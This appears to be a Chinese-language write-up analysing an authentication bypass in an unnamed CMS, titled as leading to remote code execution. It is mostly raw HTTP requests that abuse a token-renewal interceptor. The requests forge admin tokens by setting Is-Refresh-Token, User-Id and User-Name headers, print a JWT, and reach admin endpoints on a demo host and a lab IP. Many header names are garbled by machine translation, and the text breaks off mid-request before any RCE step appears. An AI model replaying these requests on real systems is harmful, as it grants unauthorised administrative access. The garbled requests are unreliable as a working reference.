分析某CMS鉴权绕过到RCE

鉴权分析与鉴权相关的类如下： SecurityConfig WebMvcConfigurer public(.*?)Interceptor { public(.*?)filter { server-admin路由， # 不参与鉴权判断的接口 common: apis: /user/userInfo,/user/password/change,/permAssignment/stationGroupList,/logout,/user/password/check SecurityConfig白名单， WebMvcConfig白名单，各种过滤器，com.某cms.web.inteceptor.*，其中也白名单，server-front路由，ServerFrontWebMvcConfig白名单，两个拦截器，service-gateway中的白名单，查看白名单路由没啥用，过滤器存在恰好能绕。鉴权绕过此拦截器com.某cms.web.inteceptor.TokenRenewalInteceptor可以根据header头的值生成token并客户端返回，设置Is-Refresh-Token、User-Id:、User-Name，返回token,， GET /server-admin/userSecurity/loginWithCode HTTP/1.1 Host: demo.某cms.com Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99" Accept: application/json, text/plain, */* Accept-Language: zh-CN Sec-Ch-Ua-Mobile：?0 用户代理：Mozilla/5.0（Windows NT 10.0；Win64；x64）AppleWebKit/537.36（KHTML，如 Gecko）Chrome/127.0.6533.89 Safari/537.36 Sec-Ch-Ua-平台：“Windows”Is-Refresh-Token：true 用户 ID：3101用户名: test Sec-Fetch-Site: 同源 Sec-Fetch-Mode: cors Sec-Fetch-Dest: 空 Accept-Encoding: gzip, deflate, br 优先级: u=1, i 连接: keep-alive 拿token访问后台接口， GET /server-admin/sysConfig/systemInfo HTTP/1.1 Host: demo.某cms.com Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99" Router-Id: 1901 Sec-Ch-Ua-Mobile: ?0 Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.89 Safari/537.36 接受：application/json、text/plain、*/* 令牌： eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI3NDNjNTkzZTQzZGM0MWEzYWJhOTZiMjhkZWMyZ mQxZiIsInN1YiI6IntcInVzZXJJZFwiOjMxMDEsXCJ1c2VyTmFtZVwiOlwidGVzdFwiLFw ibG9naW5UYXJnZXRcIjpcImFkbWluXCJ9IiwiaXNzIjoic2ciLCJpYXQiOjE3NzAwMjkwN DASIMV4cCI6MTgzMDAyODk4MH0.SUBmv9lm6s4GhcANCnXXpmRVlu71zOV3CgYSqIh9RzU Site-Id: 1 Sec-Ch-Ua-Platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest:empty Accept-Encoding: gzip, deflate, br Priority: u=1, i Connection: keep-alive 系统用户的参数如下： GET /server-admin/userSecurity/loginWithCode HTTP/1.1 Host: demo.某cms.com Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99" Accept: application/json, text/plain, */* Accept-Language: zh-CN Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko）Chrome/127.0.6533.89 Safari/537.36 Sec-Ch-Ua-Platform：“Windows”Is-Refresh-Token：true 用户 ID：2172 用户名：系统 Sec-Fetch-Site：同源 Sec-Fetch-Mode：cors Sec-Fetch-Dest：空 接受编码：gzip、deflate、br 优先级：u=1， i 获取token， GET /userSecurity/loginWithCode HTTP/1.1 Host: 192.168.91.129:8886 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99" Accept: application/json, text/plain, */* Accept-Language: zh-CN Sec-Ch-Ua-Mobile: ?0用户代理：Mozilla/5.0（Windows NT 10.0；Win64；x64）AppleWebKit/537.36（KHTML，如 Gecko）Chrome/127.0.6533.89 Safari/537.36 Sec-Ch-Ua-Platform：“Windows”Is-Refresh-Token：true 用户 ID：2172 用户名：系统 Sec-Fetch-Site：同源 Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Priority: u=1, i 鉴权成功， GET /server-admin/sysConfig/systemInfo HTTP/1.1 Host: 192.168.91.129:8886 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v